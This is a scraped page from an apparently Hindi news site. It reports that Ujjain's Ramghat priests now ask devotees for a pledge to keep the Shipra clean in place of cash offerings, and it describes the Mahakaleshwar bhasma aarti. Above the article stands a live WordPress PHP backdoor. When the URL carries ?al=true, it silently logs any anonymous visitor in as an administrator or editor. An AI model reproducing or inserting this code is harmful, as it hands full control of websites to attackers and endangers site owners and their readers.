// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); उज्जैन रामघाट पर अनोखी पहल, तीर्थ पुरोहित दक्षिणा में मांग रहे शिप्रा को स्वच्छ रखने का संकल्प – प्रत्युषा आशा की नयी किरण
मध्यप्रदेश

उज्जैन रामघाट पर अनोखी पहल, तीर्थ पुरोहित दक्षिणा में मांग रहे शिप्रा को स्वच्छ रखने का संकल्प

उज्जैन 

शिप्रा सहित देशभर के नदी-तालाबों को प्रदूषण मुक्त रखने के लिए रामघाट के तीर्थ पुरोहितों ने अनूठा नवाचार शुरू किया है। अब यहाँ पूजा-आरती के बाद श्रद्धालुओं से नकद दक्षिणा के बजाय सिर्फ नदी स्वच्छता का संकल्प मांगा जा रहा है।
हर शाम होने वाली शिप्रा सांध्य आरती के समापन पर पुरोहित भक्तों को नदी स्वच्छ रखने का वचन दिलाते हैं। श्री क्षेत्र तीर्थ पुरोहित पंडा समिति के अध्यक्ष पंडित राजेश त्रिवेदी ने बताया कि मात्र 51 दिन में करीब 2.50 लाख लोगों को यह संकल्प दिलाया जा चुका है।

पुरोहितों का मानना है कि यदि यही जनभागीदारी देश के सभी धार्मिक घाटों पर लागू हो, तो बिना किसी भारी-भरकम बजट के जल संरचनाएं स्वच्छ हो सकेंगी।

वैष्णव तिलक और आभूषण अर्पित कर राजा स्वरूप श्रृंगार

विश्व प्रसिद्ध श्री महाकालेश्वर मंदिर में सोमवार तड़के भस्म आरती के दौरान सुबह चार बजे मंदिर के पट खुलते ही पंडे-पुजारियों ने गर्भगृह में स्थापित सभी देवी-देवताओं का पूजन किया। इसके बाद भगवान महाकाल का जलाभिषेक कर दूध, दही, घी, शक्कर और फलों के रस से निर्मित पंचामृत से अभिषेक किया गया।

भगवान महाकाल का जटाधारी स्वरूप में चंदन, वैष्णव तिलक एवं आभूषण अर्पित कर राजाधिराज स्वरूप में भव्य श्रृंगार किया गया।

इससे पहले प्रथम घंटाल बजाकर मंदिर में प्रवेश किया गया। मंत्रोच्चार के साथ भगवान का ध्यान कर हरिओम जल अर्पित किया गया। कपूर आरती के पश्चात भगवान के मस्तक पर भांग, चंदन और त्रिपुंड अर्पित कर दिव्य श्रृंगार किया गया।

श्रृंगार पूर्ण होने के बाद ज्योतिर्लिंग को वस्त्र से आच्छादित कर भस्म रमाई गई। भस्म अर्पित करने के पश्चात भगवान महाकाल को शेषनाग का रजत मुकुट, रजत मुंडमाला, रुद्राक्ष की माला तथा सुगंधित पुष्पों से निर्मित हार अर्पित किए गए। मोगरा और गुलाब के सुगंधित पुष्प धारण कर भगवान महाकाल ने भक्तों को दिव्य दर्शन दिए। इसके बाद फल एवं मिष्ठान का भोग लगाया गया।

भस्म आरती में बड़ी संख्या में श्रद्धालु शामिल हुए और बाबा महाकाल का आशीर्वाद प्राप्त किया। महा निर्वाणी अखाड़ा की ओर से भगवान महाकाल को भस्म अर्पित की गई। मान्यता है कि भस्म अर्पित होने के पश्चात भगवान महाकाल निराकार से साकार स्वरूप में भक्तों को दर्शन देते हैं।

 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड

[wp-rss-aggregator]